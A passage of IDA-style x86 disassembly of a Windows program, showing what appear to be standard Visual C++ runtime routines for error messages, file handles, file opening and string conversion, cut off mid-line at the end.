--------------------------------------------------------------------------- loc_423C98: ; CODE XREF: ___:00423C49j or byte ptr [esi+4], 80h loc_423C9C: ; CODE XREF: ___:00423C8Bj ; ___:00423C90j ... inc ebx cmp ebx, 3 jl short loc_423C3D push dword_4DD140 nop call near ptr 2630163h pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CC0 proc near ; DATA XREF: sub_4228FD+Ao ; sub_422A2C+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423D60 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_423CF3: ; CODE XREF: sub_423CC0+90j cmp esi, 0FFFFFFFFh jz short loc_423D59 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_423D47 push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_423D47 js short loc_423D52 mov edi, [ebx+8] push ebx call sub_41D550 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41D592 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41D626 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_423D47: ; CODE XREF: sub_423CC0+40j ; sub_423CC0+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_423CF3 ; --------------------------------------------------------------------------- loc_423D52: ; CODE XREF: sub_423CC0+54j mov eax, 0 jmp short loc_423D75 ; --------------------------------------------------------------------------- loc_423D59: ; CODE XREF: sub_423CC0+36j mov eax, 1 jmp short loc_423D75 ; --------------------------------------------------------------------------- loc_423D60: ; CODE XREF: sub_423CC0+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41D592 add esp, 8 pop ebp mov eax, 1 loc_423D75: ; CODE XREF: sub_423CC0+97j ; sub_423CC0+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_423CC0 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41D592 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423D98 proc near ; CODE XREF: sub_41E2C9+9p mov eax, dword_4DBE3C cmp eax, 1 jz short loc_423DAF test eax, eax jnz short locret_423DD0 cmp dword_43AE44, 1 jnz short locret_423DD0 loc_423DAF: ; CODE XREF: sub_423D98+8j push 0FCh call sub_423DD1 mov eax, dword_4DBFA8 pop ecx test eax, eax jz short loc_423DC5 call eax loc_423DC5: ; CODE XREF: sub_423D98+29j push 0FFh call sub_423DD1 pop ecx locret_423DD0: ; CODE XREF: sub_423D98+Cj ; sub_423D98+15j retn sub_423D98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423DD1 proc near ; CODE XREF: sub_41E2C9+12p ; sub_423D98+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43D4D8 loc_423DE4: ; CODE XREF: sub_423DD1+20j cmp edx, [eax] jz short loc_423DF3 add eax, 8 inc ecx cmp eax, offset off_43D568 jl short loc_423DE4 loc_423DF3: ; CODE XREF: sub_423DD1+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43D4D8[esi] jnz loc_423F21 mov eax, dword_4DBE3C cmp eax, 1 jz loc_423EFB test eax, eax jnz short loc_423E24 cmp dword_43AE44, 1 jz loc_423EFB loc_423E24: ; CODE XREF: sub_423DD1+44j cmp edx, 0FCh jz loc_423F21 lea eax, [ebp+var_1A4] push 104h push eax push 0 call near ptr 2670000h nop test eax, eax jnz short loc_423E5B lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41C890 pop ecx pop ecx loc_423E5B: ; CODE XREF: sub_423DD1+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41B9C0 inc eax pop ecx cmp eax, 3Ch jbe short loc_423E9E lea eax, [ebp+var_1A4] push eax call sub_41B9C0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41BFD0 add esp, 10h loc_423E9E: ; CODE XREF: sub_423DD1+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41C890 lea eax, [ebp+var_A0] push edi push eax call sub_41C8A0 lea eax, [ebp+var_A0] push offset asc_427BF0 ; "\n\n" push eax call sub_41C8A0 push off_43D4DC[esi] lea eax, [ebp+var_A0] push eax call sub_41C8A0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_425029 add esp, 2Ch pop edi jmp short loc_423F21 ; --------------------------------------------------------------------------- loc_423EFB: ; CODE XREF: sub_423DD1+3Cj ; sub_423DD1+4Dj lea eax, [ebp+arg_0] lea esi, off_43D4DC[esi] push 0 push eax push dword ptr [esi] call sub_41B9C0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h nop call near ptr 2630000h push eax nop call near ptr 2700000h loc_423F21: ; CODE XREF: sub_423DD1+2Ej ; sub_423DD1+59j ... pop esi leave retn sub_423DD1 endp ; =============== S U B R O U T I N E ======================================= sub_423F24 proc near ; CODE XREF: sub_42423B:loc_4243B3p push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DD040 loc_423F33: ; CODE XREF: sub_423F24+48j mov eax, [ecx] test eax, eax jz short loc_423F70 lea edx, [eax+100h] loc_423F3F: ; CODE XREF: sub_423F24+28j cmp eax, edx jnb short loc_423F5F test byte ptr [eax+4], 1 jz short loc_423F4E add eax, 8 jmp short loc_423F3F ; --------------------------------------------------------------------------- loc_423F4E: ; CODE XREF: sub_423F24+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_423FB3 loc_423F5F: ; CODE XREF: sub_423F24+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DD140 jl short loc_423F33 jmp short loc_423FB3 ; --------------------------------------------------------------------------- loc_423F70: ; CODE XREF: sub_423F24+13j mov esi, 100h push esi call sub_41BEB5 test eax, eax pop ecx jz short loc_423FB3 add dword_4DD140, 20h lea ecx, ds:4DD040h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_423F96: ; CODE XREF: sub_423F24+88j cmp eax, edx jnb short loc_423FAE and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_423F96 ; --------------------------------------------------------------------------- loc_423FAE: ; CODE XREF: sub_423F24+74j shl edi, 5 mov ebx, edi loc_423FB3: ; CODE XREF: sub_423F24+39j ; sub_423F24+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_423F24 endp ; =============== S U B R O U T I N E ======================================= sub_423FB9 proc near ; CODE XREF: sub_42423B+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DD140 push edi jnb short loc_424019 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DD040h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_424019 cmp dword_43AE44, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_42400F sub eax, 0 jz short loc_424006 dec eax jz short loc_424001 dec eax jnz short loc_42400F push ebx push 0FFFFFFF4h jmp short loc_424009 ; --------------------------------------------------------------------------- loc_424001: ; CODE XREF: sub_423FB9+3Ej push ebx push 0FFFFFFF5h jmp short loc_424009 ; --------------------------------------------------------------------------- loc_424006: ; CODE XREF: sub_423FB9+3Bj push ebx push 0FFFFFFF6h loc_424009: ; CODE XREF: sub_423FB9+46j ; sub_423FB9+4Bj call near ptr 26204D0h nop loc_42400F: ; CODE XREF: sub_423FB9+36j ; sub_423FB9+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_42402D ; --------------------------------------------------------------------------- loc_424019: ; CODE XREF: sub_423FB9+Cj ; sub_423FB9+28j and dword_4DBDE0, 0 mov dword_4DBDDC, 9 or eax, 0FFFFFFFFh loc_42402D: ; CODE XREF: sub_423FB9+5Ej pop edi pop esi retn sub_423FB9 endp ; =============== S U B R O U T I N E ======================================= sub_424030 proc near ; CODE XREF: sub_41E312+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DD140 push edi jnb short loc_424093 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DD040h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_424093 cmp dword ptr [eax], 0FFFFFFFFh jz short loc_424093 cmp dword_43AE44, 1 jnz short loc_424089 xor eax, eax sub ecx, eax jz short loc_424080 dec ecx jz short loc_42407B dec ecx jnz short loc_424089 push eax push 0FFFFFFF4h jmp short loc_424083 ; --------------------------------------------------------------------------- loc_42407B: ; CODE XREF: sub_424030+41j push eax push 0FFFFFFF5h jmp short loc_424083 ; --------------------------------------------------------------------------- loc_424080: ; CODE XREF: sub_424030+3Ej push eax push 0FFFFFFF6h loc_424083: ; CODE XREF: sub_424030+49j ; sub_424030+4Ej nop call near ptr 26204D0h loc_424089: ; CODE XREF: sub_424030+38j ; sub_424030+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_4240A7 ; --------------------------------------------------------------------------- loc_424093: ; CODE XREF: sub_424030+Cj ; sub_424030+2Aj ... and dword_4DBDE0, 0 mov dword_4DBDDC, 9 or eax, 0FFFFFFFFh loc_4240A7: ; CODE XREF: sub_424030+61j pop edi pop esi retn sub_424030 endp ; =============== S U B R O U T I N E ======================================= sub_4240AA proc near ; CODE XREF: sub_41E312+32p ; sub_41E312+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DD140 jnb short loc_4240D2 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DD040[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4240D2 mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4240D2: ; CODE XREF: sub_4240AA+Aj ; sub_4240AA+23j and dword_4DBDE0, 0 mov dword_4DBDDC, 9 or eax, 0FFFFFFFFh retn sub_4240AA endp ; =============== S U B R O U T I N E ======================================= sub_4240E7 proc near ; CODE XREF: sub_41E3F0+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DD140 jnb short loc_424130 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DD040[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_424130 push eax call sub_4240AA pop ecx push eax call near ptr 2620000h nop test eax, eax jnz short loc_424125 nop call near ptr 2680972h jmp short loc_424127 ; --------------------------------------------------------------------------- loc_424125: ; CODE XREF: sub_4240E7+34j xor eax, eax loc_424127: ; CODE XREF: sub_4240E7+3Cj test eax, eax jz short locret_42413D mov dword_4DBDE0, eax loc_424130: ; CODE XREF: sub_4240E7+Aj ; sub_4240E7+22j mov dword_4DBDDC, 9 or eax, 0FFFFFFFFh locret_42413D: ; CODE XREF: sub_4240E7+42j retn sub_4240E7 endp ; =============== S U B R O U T I N E ======================================= sub_42413E proc near ; DATA XREF: ___:00429020o mov eax, dword_4DD020 push esi push 14h test eax, eax pop esi jnz short loc_424152 mov eax, 200h jmp short loc_424158 ; --------------------------------------------------------------------------- loc_424152: ; CODE XREF: sub_42413E+Bj cmp eax, esi jge short loc_42415D mov eax, esi loc_424158: ; CODE XREF: sub_42413E+12j mov dword_4DD020, eax loc_42415D: ; CODE XREF: sub_42413E+16j push 4 push eax call sub_4250B2 pop ecx mov dword_4DC01C, eax test eax, eax pop ecx jnz short loc_424191 push 4 push esi mov dword_4DD020, esi call sub_4250B2 pop ecx mov dword_4DC01C, eax test eax, eax pop ecx jnz short loc_424191 push 1Ah call sub_41E2C9 pop ecx loc_424191: ; CODE XREF: sub_42413E+30j ; sub_42413E+49j xor ecx, ecx mov eax, offset off_43D568 loc_424198: ; CODE XREF: sub_42413E+6Ej mov edx, dword_4DC01C mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43D7E8 jl short loc_424198 xor edx, edx mov ecx, offset dword_43D578 loc_4241B5: ; CODE XREF: sub_42413E+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DD040[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4241D2 test eax, eax jnz short loc_4241D5 loc_4241D2: ; CODE XREF: sub_42413E+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4241D5: ; CODE XREF: sub_42413E+92j add ecx, 20h inc edx cmp ecx, offset dword_43D5D8 jl short loc_4241B5 pop esi retn sub_42413E endp ; =============== S U B R O U T I N E ======================================= sub_4241E3 proc near ; DATA XREF: ___:00429030o ; FUNCTION CHUNK AT 00425163 SIZE 00000058 BYTES call sub_41E487 cmp byte_4DBE1C, 0 jz short locret_4241F6 jmp loc_425163 ; --------------------------------------------------------------------------- locret_4241F6: ; CODE XREF: sub_4241E3+Cj retn sub_4241E3 endp ; =============== S U B R O U T I N E ======================================= sub_4241F7 proc near ; CODE XREF: sub_41F8E3+32p ; sub_41FE2A+6Cp ... arg_0 = dword ptr 4 inc dword_4DBFAC push 1000h call sub_41BEB5 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_424220 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_424231 ; --------------------------------------------------------------------------- loc_424220: ; CODE XREF: sub_4241F7+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_424231: ; CODE XREF: sub_4241F7+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4241F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42423B proc near ; CODE XREF: sub_41FBCD+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_424261 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_42426C ; --------------------------------------------------------------------------- loc_424261: ; CODE XREF: sub_42423B+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_42426C: ; CODE XREF: sub_42423B+24j mov eax, 8000h test ecx, eax jnz short loc_424286 test ch, 40h jnz short loc_424282 cmp dword_4DBFF8, eax jz short loc_424286 loc_424282: ; CODE XREF: sub_42423B+3Dj or [ebp+var_1], 80h loc_424286: ; CODE XREF: sub_42423B+38j ; sub_42423B+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_4242BE dec eax jz short loc_4242B5 dec eax jz short loc_4242AC loc_424297: ; CODE XREF: sub_42423B+9Fj ; sub_42423B+E8j ... mov dword_4DBDDC, 16h mov dword_4DBDE0, ebx jmp loc_4244D1 ; --------------------------------------------------------------------------- loc_4242AC: ; CODE XREF: sub_42423B+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_4242C5 ; --------------------------------------------------------------------------- loc_4242B5: ; CODE XREF: sub_42423B+57j mov [ebp+var_C], 40000000h jmp short loc_4242C5 ; --------------------------------------------------------------------------- loc_4242BE: ; CODE XREF: sub_42423B+54j mov [ebp+var_C], 80000000h loc_4242C5: ; CODE XREF: sub_42423B+78j ; sub_42423B+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_4242F3 cmp eax, 20h jz short loc_4242EA cmp eax, 30h jz short loc_4242E1 cmp eax, 40h jnz short loc_424297 mov [ebp+var_10], esi jmp short loc_4242F6 ; --------------------------------------------------------------------------- loc_4242E1: ; CODE XREF: sub_42423B+9Aj mov [ebp+var_10], 2 jmp short loc_4242F6 ; --------------------------------------------------------------------------- loc_4242EA: ; CODE XREF: sub_42423B+95j mov [ebp+var_10], 1 jmp short loc_4242F6 ; --------------------------------------------------------------------------- loc_4242F3: ; CODE XREF: sub_42423B+90j mov [ebp+var_10], ebx loc_4242F6: ; CODE XREF: sub_42423B+A4j ; sub_42423B+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_424340 jz short loc_42433B cmp ecx, ebx jz short loc_42433B cmp ecx, edi jz short loc_424332 cmp ecx, 200h jz short loc_424359 cmp ecx, 300h jnz loc_424297 mov [ebp+var_8], 2 jmp short loc_424369 ; --------------------------------------------------------------------------- loc_424332: ; CODE XREF: sub_42423B+D8j mov [ebp+var_8], 4 jmp short loc_424369 ; --------------------------------------------------------------------------- loc_42433B: ; CODE XREF: sub_42423B+D0j ; sub_42423B+D4j mov [ebp+var_8], esi jmp short loc_424369 ; --------------------------------------------------------------------------- loc_424340: ; CODE XREF: sub_42423B+CEj cmp ecx, 500h jz short loc_424362 cmp ecx, 600h jz short loc_424359 cmp ecx, edx jz short loc_424362 jmp loc_424297 ; --------------------------------------------------------------------------- loc_424359: ; CODE XREF: sub_42423B+E0j ; sub_42423B+113j mov [ebp+var_8], 5 jmp short loc_424369 ; --------------------------------------------------------------------------- loc_424362: ; CODE XREF: sub_42423B+10Bj ; sub_42423B+117j mov [ebp+var_8], 1 loc_424369: ; CODE XREF: sub_42423B+F5j ; sub_42423B+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_424388 mov ecx, dword_4DBDE4 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_424388 push 1 pop esi loc_424388: ; CODE XREF: sub_42423B+138j ; sub_42423B+148j test al, 40h jz short loc_424396 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_424396: ; CODE XREF: sub_42423B+14Fj test ah, 10h jz short loc_42439D or esi, edi loc_42439D: ; CODE XREF: sub_42423B+15Ej test al, 20h jz short loc_4243A9 or esi, 8000000h jmp short loc_4243B3 ; --------------------------------------------------------------------------- loc_4243A9: ; CODE XREF: sub_42423B+164j test al, 10h jz short loc_4243B3 or esi, 10000000h loc_4243B3: ; CODE XREF: sub_42423B+16Cj ; sub_42423B+170j call sub_423F24 mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_4243D4 and dword_4DBDE0, 0 mov dword_4DBDDC, 18h jmp short loc_424412 ; --------------------------------------------------------------------------- loc_4243D4: ; CODE XREF: sub_42423B+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] nop call near ptr 27107C1h mov esi, eax cmp esi, edi jz short loc_424405 push esi nop call near ptr 26206E4h test eax, eax jnz short loc_424419 push esi nop call near ptr 26608D5h loc_424405: ; CODE XREF: sub_42423B+1B6j nop call near ptr 2680972h push eax call sub_420C7F pop ecx loc_424412: ; CODE XREF: sub_42423B+197j mov eax, edi jmp loc_4244EF ; --------------------------------------------------------------------------- loc_424419: ; CODE XREF: sub_42423B+1C1j cmp eax, 2 jnz short loc_424424 or [ebp+var_1], 40h jmp short loc_42442D ; --------------------------------------------------------------------------- loc_424424: ; CODE XREF: sub_42423B+1E1j cmp eax, 3 jnz short loc_42442D or [ebp+var_1], 8 loc_42442D: ; CODE XREF: sub_42423B+1E7j ; sub_42423B+1ECj push esi push ebx call sub_423FB9 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DD040h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_4244D6 test al, 80h jz short loc_4244D6 test byte ptr [ebp+arg_4], 2 jz short loc_4244D6 push 2 push 0FFFFFFFFh push ebx call sub_422F09 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_42448B cmp dword_4DBDE0, 83h jz short loc_4244D6 jmp short loc_4244CA ; --------------------------------------------------------------------------- loc_42448B: ; CODE XREF: sub_42423B+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F9BC add esp, 0Ch test eax, eax jnz short loc_4244B8 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_4244B8 push [ebp+var_10] push ebx call sub_4251BB pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_4244CA loc_4244B8: ; CODE XREF: sub_42423B+265j ; sub_42423B+26Bj push 0 push 0 push ebx call sub_422F09 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_4244D6 loc_4244CA: ; CODE XREF: sub_42423B+24Ej ; sub_42423B+27Bj push ebx call sub_41E312 pop ecx loc_4244D1: ; CODE XREF: sub_42423B+6Cj or eax, 0FFFFFFFFh jmp short loc_4244EF ; --------------------------------------------------------------------------- loc_4244D6: ; CODE XREF: sub_42423B+221j ; sub_42423B+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_4244ED test byte ptr [ebp+arg_4], 8 jz short loc_4244ED mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_4244ED: ; CODE XREF: sub_42423B+29Fj ; sub_42423B+2A5j mov eax, ebx loc_4244EF: ; CODE XREF: sub_42423B+1D9j ; sub_42423B+299j pop edi pop esi pop ebx leave retn sub_42423B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4244F4 proc near ; CODE XREF: sub_41FDB5+5Ep ; sub_420988+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427C30 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DBFB4 xor ebx, ebx cmp eax, ebx jnz short loc_424563 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427920 push esi nop call near ptr 2610075h test eax, eax jz short loc_424541 mov eax, esi jmp short loc_42455E ; --------------------------------------------------------------------------- loc_424541: ; CODE XREF: sub_4244F4+47j lea eax, [ebp+var_1C] push eax push esi push offset word_4CB88C push esi push ebx nop call near ptr 261081Dh test eax, eax jz loc_424629 push 2 pop eax loc_42455E: ; CODE XREF: sub_4244F4+4Bj mov dword_4DBFB4, eax loc_424563: ; CODE XREF: sub_4244F4+2Fj cmp eax, 2 jnz short loc_42458C mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_424574 mov eax, dword_4DBE84 loc_424574: ; CODE XREF: sub_4244F4+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax nop call near ptr 261081Dh jmp loc_42462B ; --------------------------------------------------------------------------- loc_42458C: ; CODE XREF: sub_4244F4+72j cmp eax, 1 jnz loc_424629 cmp [ebp+arg_10], ebx jnz short loc_4245A2 mov eax, dword_4DBE94 mov [ebp+arg_10], eax loc_4245A2: ; CODE XREF: sub_4244F4+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call near ptr 26F0000h nop mov [ebp+var_20], eax cmp eax, ebx jz short loc_424629 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41BF70 add esp, 0Ch jmp short loc_4245F8 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_4245F8: ; CODE XREF: sub_4244F4+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_424629 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] nop call near ptr 26F0000h cmp eax, ebx jz short loc_424629 push [ebp+arg_C] push eax push esi push [ebp+arg_0] nop call near ptr 2610075h jmp short loc_42462B ; --------------------------------------------------------------------------- loc_424629: ; CODE XREF: sub_4244F4+61j ; sub_4244F4+9Bj ... xor eax, eax loc_42462B: ; CODE XREF: sub_4244F4+93j ; sub_4244F4+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4244F4 endp ; =============== S U B R O U T I N E ======================================= sub_42463D proc near ; CODE XREF: sub_41FE2A+61p ; sub_420CE6+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DD140 jb short loc_42464C xor eax, eax retn ; --------------------------------------------------------------------------- loc_42464C: ; CODE XREF: sub_42463D+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DD040[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_42463D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424663 proc near ; CODE XREF: sub_41FF3F+2D4p ; sub_41FF3F+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_42466F pop ebp retn ; --------------------------------------------------------------------------- loc_42466F: ; CODE XREF: sub_424663+8j cmp dword_4DBE84, 0 jnz short loc_42468A mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_4246BC push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_42468A: ; CODE XREF: sub_424663+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43D084 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4DBE94 nop call near ptr 2811010h test eax, eax jz short loc_4246BC cmp [ebp+arg_0], 0 jz short loc_4246C9 loc_4246BC: ; CODE XREF: sub_424663+1Ej ; sub_424663+51j mov dword_4DBDDC, 2Ah or eax, 0FFFFFFFFh loc_4246C9: ; CODE XREF: sub_424663+57j pop ebp retn sub_424663 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4246CB proc near ; CODE XREF: sub_420DB0+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_4246EE cmp [ebp+arg_8], ebx jz short loc_4246EE mov al, [esi] cmp al, bl jnz short loc_4246F4 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_4246EE mov [eax], bx loc_4246EE: ; CODE XREF: sub_4246CB+Cj ; sub_4246CB+11j ... xor eax, eax loc_4246F0: ; CODE XREF: sub_4246CB+42j ; sub_4246CB+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_4246F4: ; CODE XREF: sub_4246CB+17j cmp dword_4DBE84, ebx jnz short loc_42470F mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_42470A movzx ax, al mov [ecx], ax loc_42470A: ; CODE XREF: sub_4246CB+36j ; sub_4246CB+C0j push 1 pop eax jmp short loc_4246F0 ; --------------------------------------------------------------------------- loc_42470F: ; CODE XREF: sub_4246CB+2Fj mov ecx, off_43CE78 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_42476C mov eax, dword_43D084 cmp eax, 1 jle short loc_424753 cmp [ebp+arg_8], eax jl short loc_42475D xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4DBE94 nop call near ptr 26F0000h test eax, eax mov eax, dword_43D084 jnz short loc_4246F0 loc_424753: ; CODE XREF: sub_4246CB+5Cj cmp [ebp+arg_8], eax jb short loc_42475D cmp [esi+1], bl jnz short loc_4246F0 loc_42475D: ; CODE XREF: sub_4246CB+61j ; sub_4246CB+8Bj ... mov dword_4DBDDC, 2Ah or eax, 0FFFFFFFFh jmp short loc_4246F0 ; --------------------------------------------------------------------------- loc_42476C: ; CODE XREF: 